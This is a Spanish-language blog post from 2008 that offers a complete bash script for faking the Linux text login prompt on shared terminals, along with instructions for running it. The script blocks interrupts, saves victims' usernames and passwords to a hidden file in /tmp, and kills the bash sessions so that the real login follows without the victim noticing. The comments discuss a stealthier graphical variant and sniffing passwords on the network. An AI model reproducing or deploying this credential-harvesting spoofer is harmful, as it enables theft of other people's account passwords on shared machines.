2/18/2008


Fake Linux login prompt o Login de Linux falso.

Que pasaría si eres parte de una gran empresa o de una universidad, formada por cientos de terminales bobas o constituidas por maquinas *nix, donde es posible tener acceso a cualquier de ellas con el sólo hecho de loguearse.
Que pasaría si todo fuera normal, si la diferencia entre un Fake linux login y un login real sea prácticamente nulo.
Lo que pasaría es que dejes tu contraseña en un archivo, que después será leida por un "atacante" que necesite acceder a tu cuenta.
Actualmente lass sesiones en Terminales bobas o no, son la mayoría graficas, ejemplos kdm y gdm hace algunos años no eran tan tipicas y el login en modo texto era el predilecto.


Había leido en un artículo como hacer un Fake linux login pero antes de poner en prática, perdí todos los datos de mi disco y por eso me imposibilité a concluirlo.....hasta ayer.
En packetstormsecurity.org navegando por la sección exploits, encontré lo que buscaba pero era algo anticuado y solamente adaptada para una distribucion "ubuntu 5.10", busqué en mis conocimientos limitados alguna forma de hacerlo compatible para cualquier distro y encontré la respuesta en el lenguaje awk, un lenguaje que las pocas veces que lo habia visto lo trataba de evitar, debido al desconocimiento de su sentencia y mi imaginación de dificil aprendizaje, estaba equivocado de nuevo..., es un lenguaje execelente para el procesamiento de patrones en el texto y nos da la capacidad de obtener lo que queramos :).

###INICIO###
# Made by Pranav Joshi & Deepak Kaul
# joshipranav [at the rate] gmail [dot] com
#
# Bash script to emulate login prompt for Linux Machines..
#
# Ctrl-C is blocked
# entered passwords are saved to /tmp/.dump
#
# this script kills all bash instances after it's execution and
# returns to the main login prompt so be prepared before u run it
# Mejorado por Braianet para Arch/Linux y demas distros
# braianel22 [at the rate] gmail [dot] com 18/02/08
# Las contrasenas ingresadas son guardadas en /tmp/.dump.

#!/bin/bash
clear

#Uncomment if you want to erase the /tmp/dump file each time
#> /tmp/.dump

#Your Login BANNER
SISTEMA=`awk '{for (ax=1;ax<=NF;ax++) if (! ($ax ~ /[\\\]/)) print $ax}' /etc/issue | awk '$0 !~ /[\x00-\x20]/'| awk 'BEGIN { ORS = "\x20"} $0 !~ /[\x00-\x20]/'` KERNEL=`uname -r` TERMINAL=`tty | awk 'BEGIN { FS = "\x2F" } {print $3"/"$4}'` #HOSTNAME HN=`hostname` #Si tu sistema NO es Arch/Linux deberias borrar de la variable BANNER la varible$HN y los corchetes (), para que coincida con tu distro. BANNER="$SISTEMA $KERNEL ($HN) ($TERMINAL)" #RUN Set to 0 RUN=0 echo -e "\n$BANNER" echo while [ $RUN -lt 3 ] do echo -n $HN login:; trap "" SIGINT SIGTERM; read USER if [ ${USER}abc = abc ] then echo $BANNER echo continue else echo username is $USER >> /tmp/.dump
echo -n Password: ; read -s PSWD

if [ ${PSWD}abc = abc ]
then
echo ; echo ; continue
fi

echo password is $PSWD >> /tmp/.dump ; echo
fi
echo Login incorrect
echo
RUN=`expr $RUN + 1`
done

# Registers the PID of first instance of bash
#BPID=`ps u | tr -s " " ":" | grep [-]bash | head -n1 | cut -d":" -f2`

# Registers PIDs of all bash instances (Safer)
BPID=`ps u | tr -s " " ":" | grep bash | cut -d":" -f2`

sleep 1
kill -9 $BPID


###FIN###

Si guardas el anterior archivo y lo ejecutas en una terminal de texto, te aparecerá una copia idéntica(Arch Linux, demás distros seguro retocar algo en el archivo) del Login Prompt. Si ingresamos el nombre de usuario y contraseña correctos nos dirá login incorrecto en tres intentos(se puede modificar el valor), donde el user y pass se almacenaran en el archivo /tmp/.dump que podrás leerlo posteriormente. Luego se ejecutará el Login verdadero que permitirá ingresar al usuario "victima", sin percatar su captura de contraseña.

Acuerdense de dar permisos de ejecución al archivo:

$ touch loginfalso.sh # creo el archivo
$ vi loginfalso.sh # abro el archivo y pego el programa. Pueden elegir cualquier editor
$ chmod +x loginfalso.sh # le doy permisos de ejecución
$ ./loginfalso.sh #ejecuto el login falso


Espero que les sirva el articulo, y ademas de conocer la existencia de fake login linux, también existen login falsos de ssh, entre otros. Saludos!

2 comentarios:

jalorer said...

Muy interesante, jeje. Un desafio es crear una variante que use interfaz grafica para que pase totalmente desapercibido en ambientes donde por defecto todos los "terminales bobos" estén esperando en modo grafico que alguien los use... Por ultimo podrias comentar sobre como hacerlo para crear esa variante (si puedes dar algun tip sobre que lenguaje usar para que logre lo mismo que hace el script de bash, pero que sea hecho por el codigo ya compilado con interfaz grafica y todo)...

Braian said...

Muchas gracias jalorer, y en modo gráfico sería un poco mas dificil, sin duda es un reto pero lo que nunca hice fué sniffear la red cuando se transmitía los password, no se que tipo de encriptación tendrá, quizas tengas suerte.Saludos!